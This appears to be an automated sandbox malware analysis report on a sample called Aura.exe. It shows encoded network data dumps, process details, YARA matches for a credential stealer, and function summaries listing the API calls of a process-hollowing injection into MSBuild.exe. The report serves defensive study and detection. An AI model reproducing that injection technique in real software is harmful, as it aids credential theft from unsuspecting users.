2024-12-27 22:47:50 UTC	1369	IN	Data Raw: 31 44 41 31 45 62 77 65 4d 57 6b 70 46 67 51 49 30 6a 69 41 6f 7a 74 38 4c 68 68 59 52 56 4c 61 32 62 32 61 77 35 69 39 37 55 44 66 62 62 4e 65 4e 78 75 78 4d 79 78 54 68 77 49 47 74 30 42 6b 4e 66 69 36 32 4a 37 4f 52 74 55 47 2b 4d 65 46 45 48 35 73 41 70 4d 75 4d 51 46 72 47 6e 5a 76 35 46 50 4c 78 6f 45 7a 42 32 64 32 75 76 43 4e 48 34 5a 4f 31 4a 6d 38 46 67 72 54 39 61 49 50 45 71 47 30 31 2f 42 44 76 71 61 68 33 38 4d 64 48 6e 49 50 35 6a 58 36 4d 52 41 66 79 45 59 65 69 72 32 5a 6a 78 78 35 64 4d 6f 65 72 62 6b 42 50 52 55 2f 4d 47 78 65 44 77 78 59 4a 67 73 6f 6f 6e 65 36 32 59 4c 47 52 52 66 64 64 34 47 45 6b 54 4b 72 69 6c 61 6f 59 77 42 79 68 47 6b 72 2f 52 6e 50 54 39 63 37 43 4f 50 36 61 66 65 61 6b 4d 39 53 31 67 76 38 68 77 64 41 70 61 79 Data Ascii: 1DA1EbweMWkpFgQI0jiAozt8LhhYRVLa2b2aw5i97UDfbbNeNxuxMyxThwIGt0BkNfi62J7ORtUG+MeFEH5sApMuMQFrGnZv5FPLxoEzB2d2uvCNH4ZO1Jm8FgrT9aIPEqG01/BDvqah38MdHnIP5jX6MRAfyEYeir2Zjxx5dMoerbkBPRU/MGxeDwxYJgsoone62YLGRRfdd4GEkTKrilaoYwByhGkr/RnPT9c7COP6afeakM9S1gv8hwdApay
2024-12-27 22:47:50 UTC	1369	IN	Data Raw: 6f 44 38 55 58 30 67 62 52 47 48 67 46 68 6e 53 71 4a 34 38 69 37 62 6b 63 68 53 57 67 76 35 31 34 77 52 38 53 34 59 45 61 51 33 41 72 4a 53 64 62 65 6e 43 59 30 4e 45 44 4b 4b 36 6e 30 6f 4c 34 31 41 6e 6b 6c 51 44 44 6d 55 41 78 30 79 35 55 41 50 36 2f 51 51 75 30 57 30 59 53 77 50 44 39 79 48 65 77 37 79 2b 33 55 31 44 41 5a 4c 41 6c 4c 62 2f 5a 6a 49 32 37 44 67 68 39 68 6e 39 52 58 72 6d 33 52 73 6f 38 39 4b 7a 5a 4f 7a 7a 69 55 30 64 4c 39 61 56 34 52 55 33 4d 78 78 56 38 75 41 76 4f 47 50 54 79 47 69 48 76 4b 45 66 79 52 70 48 30 74 43 57 7a 70 41 38 6e 42 34 73 31 65 42 53 51 4a 64 57 76 7a 57 42 35 42 36 70 45 75 55 64 7a 79 56 50 77 59 78 4a 32 47 49 67 56 70 52 74 77 69 6e 73 44 43 32 6a 59 41 66 30 77 74 42 39 74 48 48 30 2f 57 6f 69 46 38 76 Data Ascii: oD8UX0gbRGHgFhnSqJ48i7bkchSWgv514wR8S4YEaQ3ArJSdbenCY0NEDKK6n0oL41AnklQDDmUAx0y5UAP6/QQu0W0YSwPD9yHew7y+3U1DAZLAlLb/ZjI27Dgh9hn9RXrm3Rso89KzZOzziU0dL9aV4RU3MxxV8uAvOGPTyGiHvKEfyRpH0tCWzpA8nB4s1eBSQJdWvzWB5B6pEuUdzyVPwYxJ2GIgVpRtwinsDC2jYAf0wtB9tHH0/WoiF8v
2024-12-27 22:47:50 UTC	95	IN	Data Raw: 52 39 73 4f 52 59 7a 59 42 58 66 59 4e 74 5a 4b 6a 33 6d 74 78 47 7a 74 53 4e 75 78 6e 44 30 4c 75 72 77 45 35 6e 4d 38 45 32 52 66 2b 75 34 68 78 48 68 42 39 78 67 32 55 78 38 6e 55 64 48 52 38 4a 57 30 38 75 6b 63 38 51 65 32 47 4c 57 50 44 2b 6d 44 78 64 4f 4c 44 39 32 51 41 0d 0a Data Ascii: R9sORYzYBXfYNtZKj3mtxGztSNuxnD0LurwE5nM8E2Rf+u4hxHhB9xg2Ux8nUdHR8JW08ukc8Qe2GLWPD+mDxdOLD92QA
2024-12-27 22:47:50 UTC	1369	IN	Data Raw: 32 62 31 38 0d 0a 46 6e 6a 39 48 5a 2f 42 77 37 31 43 55 33 38 45 51 53 65 79 65 68 5a 30 2b 37 6b 4f 54 5a 2f 4d 53 36 70 4f 31 49 32 69 51 79 6b 56 41 4e 34 6d 67 4f 44 49 2f 6e 63 45 4b 52 56 51 62 73 59 51 4b 45 2f 6f 32 52 46 43 76 6f 74 61 33 33 54 2b 75 37 64 4e 45 44 4a 36 33 41 47 4d 38 63 32 6a 62 6d 63 36 42 6d 78 70 35 6b 74 43 59 74 65 59 41 54 44 46 39 46 6a 33 59 38 7a 61 68 45 39 67 41 47 7a 68 50 70 37 72 30 38 6c 76 42 67 38 45 56 6a 4c 46 57 68 34 41 34 4e 41 2f 50 70 7a 4a 55 63 6c 30 78 49 4f 52 65 67 34 6b 57 2f 51 54 67 39 58 54 35 6e 4a 35 65 67 52 65 4f 74 68 45 4f 6e 33 54 30 41 46 41 6a 59 31 6b 36 57 50 4d 32 6f 4d 78 4c 41 4e 43 34 48 6d 32 30 76 62 69 59 33 30 5a 46 6d 6f 6e 35 67 4a 51 44 38 54 57 65 33 71 36 32 56 2b 75 54 Data Ascii: 2b18Fnj9HZ/Bw71CU38EQSeyehZ0+7kOTZ/MS6pO1I2iQykVAN4mgODI/ncEKRVQbsYQKE/o2RFCvota33T+u7dNEDJ63AGM8c2jbmc6Bmxp5ktCYteYATDF9Fj3Y8zahE9gAGzhPp7r08lvBg8EVjLFWh4A4NA/PpzJUcl0xIOReg4kW/QTg9XT5nJ5egReOthEOn3T0AFAjY1k6WPM2oMxLANC4Hm20vbiY30ZFmon5gJQD8TWe3q62V+uT
2024-12-27 22:47:50 UTC	1369	IN	Data Raw: 67 62 41 6c 6e 6e 41 2b 2f 6b 2f 53 34 61 57 59 46 42 46 77 52 34 47 5a 4a 48 66 65 6d 59 48 4f 79 31 41 4c 42 44 71 61 47 73 54 34 33 43 6d 44 62 4c 4b 2f 79 36 62 77 30 53 78 34 2f 61 42 72 67 63 79 4a 59 6b 39 55 6a 65 5a 44 66 52 74 70 32 79 59 65 76 62 41 39 78 48 4f 4d 48 73 76 66 32 31 6b 51 42 4b 78 30 73 4b 63 56 73 43 48 53 57 6c 41 31 65 78 39 45 59 31 30 62 43 68 70 4e 65 4c 58 64 7a 35 67 36 55 35 2f 58 65 53 30 4d 43 44 58 77 70 79 33 38 63 62 2b 4f 59 4c 57 47 77 30 56 61 72 59 39 47 57 6f 56 74 75 42 52 76 6a 48 59 7a 7a 34 74 74 6c 51 68 63 6d 59 43 6e 41 51 77 35 39 6c 62 55 63 4f 4b 4f 4a 53 38 74 44 70 6f 43 59 51 42 6f 6b 66 65 59 2b 74 73 44 51 2b 46 73 64 47 45 68 4c 4c 38 41 5a 4e 77 48 53 74 6a 6b 69 7a 34 78 30 2f 47 2f 6e 77 70 Data Ascii: gbAlnnA+/k/S4aWYFBFwR4GZJHfemYHOy1ALBDqaGsT43CmDbLK/y6bw0Sx4/aBrgcyJYk9UjeZDfRtp2yYevbA9xHOMHsvf21kQBKx0sKcVsCHSWlA1ex9EY10bChpNeLXdz5g6U5/XeS0MCDXwpy38cb+OYLWGw0VarY9GWoVtuBRvjHYzz4ttlQhcmYCnAQw59lbUcOKOJS8tDpoCYQBokfeY+tsDQ+FsdGEhLL8AZNwHStjkiz4x0/G/nwp
2024-12-27 22:47:50 UTC	1369	IN	Data Raw: 57 66 38 73 71 39 54 64 2f 7a 4e 59 4b 54 38 70 45 39 5a 66 4b 6b 58 32 67 6a 74 54 72 63 52 45 33 30 76 6c 76 76 64 78 48 69 4a 78 6c 78 2b 4c 30 4b 48 63 4d 30 68 39 4b 32 31 6f 79 30 6f 65 61 6f 36 75 66 56 6d 76 30 33 72 56 65 66 4c 43 74 6e 45 74 64 57 4b 59 4c 63 7a 79 36 63 31 53 5a 53 6f 6d 65 7a 44 6e 59 52 70 59 77 36 6f 73 65 4b 4c 72 5a 76 4a 7a 39 6f 50 31 55 57 41 38 5a 50 38 78 72 38 62 41 34 33 42 39 4a 51 52 58 45 72 45 43 46 58 50 43 6c 42 31 6b 70 74 64 41 74 6c 66 58 6e 66 52 4c 49 51 56 64 34 48 71 56 37 4d 76 6c 54 6b 73 75 49 44 59 38 31 6e 77 76 62 50 43 6c 66 7a 2b 78 38 32 62 62 59 4b 6e 4e 36 30 4a 76 48 32 66 50 4c 70 37 4b 6f 2f 77 31 47 58 77 46 57 43 79 7a 5a 44 4e 59 77 39 41 52 62 4c 58 68 48 50 70 45 2f 70 44 35 58 78 51 Data Ascii: Wf8sq9Td/zNYKT8pE9ZfKkX2gjtTrcRE30vlvvdxHiJxlx+L0KHcM0h9K21oy0oeao6ufVmv03rVefLCtnEtdWKYLczy6c1SZSomezDnYRpYw6oseKLrZvJz9oP1UWA8ZP8xr8bA43B9JQRXErECFXPClB1kptdAtlfXnfRLIQVd4HqV7MvlTksuIDY81nwvbPClfz+x82bbYKnN60JvH2fPLp7Ko/w1GXwFWCyzZDNYw9ARbLXhHPpE/pD5XxQ
2024-12-27 22:47:50 UTC	1369	IN	Data Raw: 4a 53 57 2f 39 35 44 55 54 6f 7a 61 44 76 51 52 44 6c 59 79 4a 51 66 59 62 47 57 62 37 4a 4d 2b 71 65 55 51 6a 67 68 57 5a 77 74 6d 66 6a 49 31 57 6c 57 42 44 31 31 4c 66 49 66 54 32 50 32 67 53 78 78 6b 38 68 78 72 31 6a 63 6f 49 31 2b 45 7a 78 43 6e 51 79 78 39 75 6a 51 4b 47 49 71 4c 32 6f 76 75 78 34 49 59 4a 62 4c 4f 47 47 2b 34 52 7a 6b 55 39 32 66 71 46 73 31 63 33 71 5a 45 36 76 31 30 4e 5a 67 61 48 6b 4f 54 47 72 51 54 77 30 44 7a 74 5a 2f 62 72 48 76 56 66 46 49 34 59 57 33 61 68 49 50 58 2b 67 77 6c 63 61 6c 70 30 46 31 44 67 68 39 46 39 56 71 45 31 6e 6a 6d 43 70 34 6e 39 35 65 35 56 54 4d 32 71 31 6a 48 52 45 65 79 53 48 50 6c 4b 4f 38 61 47 55 49 56 32 74 71 39 58 56 55 59 2f 33 50 4a 30 69 57 6a 56 33 76 46 62 76 44 67 6a 73 46 61 58 4c 61 Data Ascii: JSW/95DUTozaDvQRDlYyJQfYbGWb7JM+qeUQjghWZwtmfjI1WlWBD11LfIfT2P2gSxxk8hxr1jcoI1+EzxCnQyx9ujQKGIqL2ovux4IYJbLOGG+4RzkU92fqFs1c3qZE6v10NZgaHkOTGrQTw0DztZ/brHvVfFI4YW3ahIPX+gwlcalp0F1Dgh9F9VqE1njmCp4n95e5VTM2q1jHREeySHPlKO8aGUIV2tq9XVUY/3PJ0iWjV3vFbvDgjsFaXLa
2024-12-27 22:47:50 UTC	1369	IN	Data Raw: 6e 5a 5a 46 51 71 50 6c 34 77 78 58 45 52 66 2b 53 43 44 33 6d 31 30 51 62 73 55 4d 57 47 6b 58 6b 78 64 41 44 73 43 4d 72 57 78 65 52 42 47 51 49 74 54 53 7a 70 54 79 31 53 36 72 55 36 62 49 2f 4d 56 50 49 4b 33 38 47 74 50 67 31 31 53 73 4d 63 77 74 58 31 31 6b 70 46 4b 79 6c 41 47 65 64 69 53 6e 6e 6b 75 48 77 69 6c 73 6c 55 72 56 48 62 76 4a 52 63 50 77 35 54 32 79 79 38 6c 74 71 30 51 55 49 36 54 69 6f 33 36 45 77 6a 5a 65 61 4f 4a 57 47 72 6b 6c 6e 36 53 62 75 46 6c 56 38 4e 4e 57 6d 61 50 4c 4c 31 6f 65 42 62 48 51 38 6b 62 47 33 79 47 54 70 36 39 5a 6f 53 50 35 76 36 65 38 64 4a 33 71 54 34 59 7a 67 4a 66 75 64 35 76 4a 76 49 2b 44 52 77 65 68 45 68 47 37 6f 5a 54 6c 66 46 71 7a 35 2f 70 73 35 6b 2f 31 48 4b 72 37 6c 2b 47 79 78 65 35 58 32 5a 6c Data Ascii: nZZFQqPl4wxXERf+SCD3m10QbsUMWGkXkxdADsCMrWxeRBGQItTSzpTy1S6rU6bI/MVPIK38GtPg11SsMcwtX11kpFKylAGediSnnkuHwilslUrVHbvJRcPw5T2yy8ltq0QUI6Tio36EwjZeaOJWGrkln6SbuFlV8NNWmaPLL1oeBbHQ8kbG3yGTp69ZoSP5v6e8dJ3qT4YzgJfud5vJvI+DRwehEhG7oZTlfFqz5/ps5k/1HKr7l+Gyxe5X2Zl

Target ID:	0
Start time:	17:47:22
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Aura.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Aura.exe"
Imagebase:	0xa0000
File size:	569'384 bytes
MD5 hash:	FD5FBA5D5BEF2952443B96241FFA5814
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:47:22
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:47:23
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Aura.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Aura.exe"
Imagebase:	0xa0000
File size:	569'384 bytes
MD5 hash:	FD5FBA5D5BEF2952443B96241FFA5814
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1863800274.000000000341B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1842452334.0000000003427000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1842261348.0000000003424000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	5.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	25

Executed Functions

Function 000DA19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,000DA110,000DA100), ref: 000DA334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 000DA347
Wow64GetThreadContext.KERNEL32(00000098,00000000), ref: 000DA365
ReadProcessMemory.KERNELBASE(0000008C,?,000DA154,00000004,00000000), ref: 000DA389
VirtualAllocEx.KERNELBASE(0000008C,?,?,00003000,00000040), ref: 000DA3B4
WriteProcessMemory.KERNELBASE(0000008C,00000000,?,?,00000000,?), ref: 000DA40C
WriteProcessMemory.KERNELBASE(0000008C,00400000,?,?,00000000,?,00000028), ref: 000DA457
WriteProcessMemory.KERNELBASE(0000008C,?,?,00000004,00000000), ref: 000DA495
Wow64SetThreadContext.KERNEL32(00000098,02D10000), ref: 000DA4D1
ResumeThread.KERNELBASE(00000098), ref: 000DA4E0

Strings

ReadProcessMemory, xrefs: 000DA289
ress, xrefs: 000DA226
VirtualAllocEx, xrefs: 000DA29C
aryA, xrefs: 000DA1E2
GetThreadContext, xrefs: 000DA276
GetP, xrefs: 000DA21E
ResumeThread, xrefs: 000DA2D8
VirtualAlloc, xrefs: 000DA263
WriteProcessMemory, xrefs: 000DA2AF
TerminateProcess, xrefs: 000DA3C3
SetThreadContext, xrefs: 000DA2C2
CreateProcessW, xrefs: 000DA250
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 000DA333
Load, xrefs: 000DA1DA

Memory Dump Source

Source File: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: e716e28385aa1ed2fff158c612ae8c81719369566884179bc0df9bdb8a1c46e4
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: BDB1087660024AAFDB60CF68CC80BDA73A5FF89714F158125EA0CAB341D774FA51CBA4

Function 000A1FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000A1240: _strlen.LIBCMT ref: 000A12BA

CreateFileA.KERNELBASE ref: 000A2036
GetFileSize.KERNEL32(00000000,00000000), ref: 000A2046
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 000A206B
CloseHandle.KERNELBASE(00000000), ref: 000A207A
_strlen.LIBCMT ref: 000A20CD
CloseHandle.KERNEL32(00000000), ref: 000A21FD

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: cd08605bba17c97c02f4ffee7ffc1c09aa3a359cd49b580424996672a1f92c01
Instruction ID: 741cd4ce61ef1e50424acaa822b5e3660d532e06d3bdefa6b709c5b59763b149
Opcode Fuzzy Hash: cd08605bba17c97c02f4ffee7ffc1c09aa3a359cd49b580424996672a1f92c01
Instruction Fuzzy Hash: 9571B2B2D002149BDB10DFA8DC44BEEBBB5FF5A310F140629E815A7392E7359945CBA1

Function 000A1000 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e952df3d4b0cd19a57e27a3f94560e3ad4ce945755ba92c9b9b85cc7bf1b8e0a
Instruction ID: 983c62eef079e73cd6297a8b4c6522dcb16c36808bf8fc768e6e82b2fbf8ecd3
Opcode Fuzzy Hash: e952df3d4b0cd19a57e27a3f94560e3ad4ce945755ba92c9b9b85cc7bf1b8e0a
Instruction Fuzzy Hash: 09213A336141650B87AC9F786D6247BFB8ADB876A0B05573EEE129F2D1E520DE1082E4

Function 000A24B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 000A24DD
ShowWindow.USER32(00000000,00000000), ref: 000A24E6
GetCurrentThreadId.KERNEL32 ref: 000A2524

Part of subcall function 000AF11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,000A253A,?,?,00000000), ref: 000AF129
Part of subcall function 000AF11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,000A253A,?,?,00000000), ref: 000AF142
Part of subcall function 000AF11D: CloseHandle.KERNEL32(?,?,?,000A253A,?,?,00000000), ref: 000AF154

std::_Throw_Cpp_error.LIBCPMT ref: 000A2567
std::_Throw_Cpp_error.LIBCPMT ref: 000A2578
std::_Throw_Cpp_error.LIBCPMT ref: 000A2589
std::_Throw_Cpp_error.LIBCPMT ref: 000A259A

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: ee4cf8053eb688ec1644940782a1f1fe72a43c548a18bb3d36efd57b74eb7cab
Instruction ID: 67d43a8c9f39c7f1bab155bf9b9f218932d588ba049a8978c78de756a4ffbb64
Opcode Fuzzy Hash: ee4cf8053eb688ec1644940782a1f1fe72a43c548a18bb3d36efd57b74eb7cab
Instruction Fuzzy Hash: 912165F2D402159BDF10AFE49C06BEE7BB4BF05710F180165F90476282E7B69614CBA6

Function 000BCF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,F7EDDA51,?,000BD01A,?,?,00000000), ref: 000BCFCC

Strings

ext-ms-, xrefs: 000BCF76
api-ms-, xrefs: 000BCF62

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 5f4c69ceb84b48d86dd9b23cacf1922ade072cb0fd00ee11a1551580ed175d37
Instruction ID: a32cd1eeea96eecdbcc20bb540ac55849b2325970f2e4b4b415a6254c84b15b7
Opcode Fuzzy Hash: 5f4c69ceb84b48d86dd9b23cacf1922ade072cb0fd00ee11a1551580ed175d37
Instruction Fuzzy Hash: 2E21D831A02312ABEB319B65DC40FBE77AADB51760F250172FD55A7290D774ED00CAE0

Function 000A1750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 000A1783

Strings

ios_base::badbit set, xrefs: 000A1BFA, 000A1C20
ios_base::eofbit set, xrefs: 000A1BEA
ios_base::failbit set, xrefs: 000A1BEF

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: 9d0f66c5c13a2a67903469b1f010dc7567f990293f7a53819b632d838b715be5
Instruction ID: be7e3b519abb51d15848899bf5d826e52b469a1aa1e5259308122c7283609bf7
Opcode Fuzzy Hash: 9d0f66c5c13a2a67903469b1f010dc7567f990293f7a53819b632d838b715be5
Instruction Fuzzy Hash: 02F15D75A012148FDB14CFA8C494BADBBF2FF89324F194269E815AB392D735AD05CF90

Function 000B5349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00015470,00000000,00000000,00000000), ref: 000B5392
GetLastError.KERNEL32(?,?,?,000A2513,00000000,00000000), ref: 000B539E
__dosmaperr.LIBCMT ref: 000B53A5

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 107514639a18ad54954b456e5e230c1e8517e8307efcbd3ddbf77f2d47c5eaf3
Instruction ID: c2df993514969c4e6727bf3280c583470b2fc9aa2248ca9a306e772d3cdda55b
Opcode Fuzzy Hash: 107514639a18ad54954b456e5e230c1e8517e8307efcbd3ddbf77f2d47c5eaf3
Instruction Fuzzy Hash: 23019E72505619EBDF159FA0DC06BEE3BE4FF40796F004098F80196291EBB1DE40DB60

Function 000B54EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

